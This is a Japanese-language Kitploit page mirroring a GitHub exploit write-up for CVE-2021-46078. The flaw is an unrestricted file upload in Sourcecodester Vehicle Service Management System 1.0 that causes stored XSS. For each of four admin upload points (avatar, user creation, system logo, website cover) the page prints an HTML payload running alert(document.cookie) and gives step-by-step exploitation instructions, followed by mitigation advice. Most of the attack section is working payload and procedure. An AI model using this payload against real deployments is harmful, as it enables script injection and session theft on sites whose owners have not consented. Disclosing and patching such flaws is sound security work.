CVE-2021-46078 — CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、保存型クロスサイトスクリプティングの脆弱性につながる可能性があります。 | Kitploit
ツール / GitHub / sanupl / cve-2021-46078
sanupl/cve-2021-46078 CVE-2021-46078 CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 には、無制限のファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、保存型クロスサイトスクリプティングの脆弱性につながる可能性があります。
コミュニティで最も使われているツールを見つけましょう。
過去7日間 過去30日間
CVE-2021-46078
Exploit Title: Vehicle Service Management System - 'Multiple' ファイルアップロードにより格納型クロスサイトスクリプティングが発生
CVE: CVE-2021-46078
CVSS: 4.8 MEDIUM
References:
Description: Sourcecodester Vehicle Service Management System 1.0 には、制限のないファイルアップロードの脆弱性が存在します。リモートの攻撃者が悪意のあるファイルをアップロードすると、格納型クロスサイトスクリプティング（Stored XSS）の脆弱性につながる可能性があります。
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
上記のHTMLコードを保存します（例: XSS.html）
「My Account」セクションで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
更新ボタンをクリックします。
アバター画像を新しいタブで開きます。
悪意のあるJavaScriptコードが実行されます。
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
上記のHTMLコードを保存します（例: XSS.html）
「Create New User」ページで必要な詳細をすべて入力し、アバターにHTMLファイルを選択します。
「Save」ボタンをクリックします。
アバター画像を新しいタブで開きます。
悪意のあるJavaScriptコードが実行されます。
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
上記のHTMLコードを保存します（例: XSS.html）
「Settings」セクションで必要な詳細をすべて入力し、「System Logo」にHTMLファイルを選択します。
更新ボタンをクリックします。
「System Logo」画像を新しいタブで開きます。
悪意のあるJavaScriptコードが実行されます。
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
Payload: <!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
上記のHTMLコードを保存します（例: XSS.html）
「Settings」セクションで必要な詳細をすべて入力し、「Website Cover」にHTMLファイルを選択します。
更新ボタンをクリックします。
「Website Cover」画像を新しいタブで開きます。
悪意のあるJavaScriptコードが実行されます。
Impact: 攻撃者は複数のエンドポイントで悪意のあるファイルをアップロードでき、これにより格納型クロスサイトスクリプティング（Stored XSS）が発生する可能性があります。
Mitigation:
ホワイトリストフィルタなしに、ファイル名とその拡張子を直接受け入れないこと。
Unicode文字が不要な場合は、ファイル名と拡張子の入力として英数字とドット1つのみを受け付けることを強く推奨します。
サービス拒否攻撃を防ぐために、ファイルサイズを最大値に制限すること。
アップロード先ディレクトリには「実行」権限を付与しないこと。
クライアント側の検証のみに依存しないこと。
sanupl/cve-2021-46078
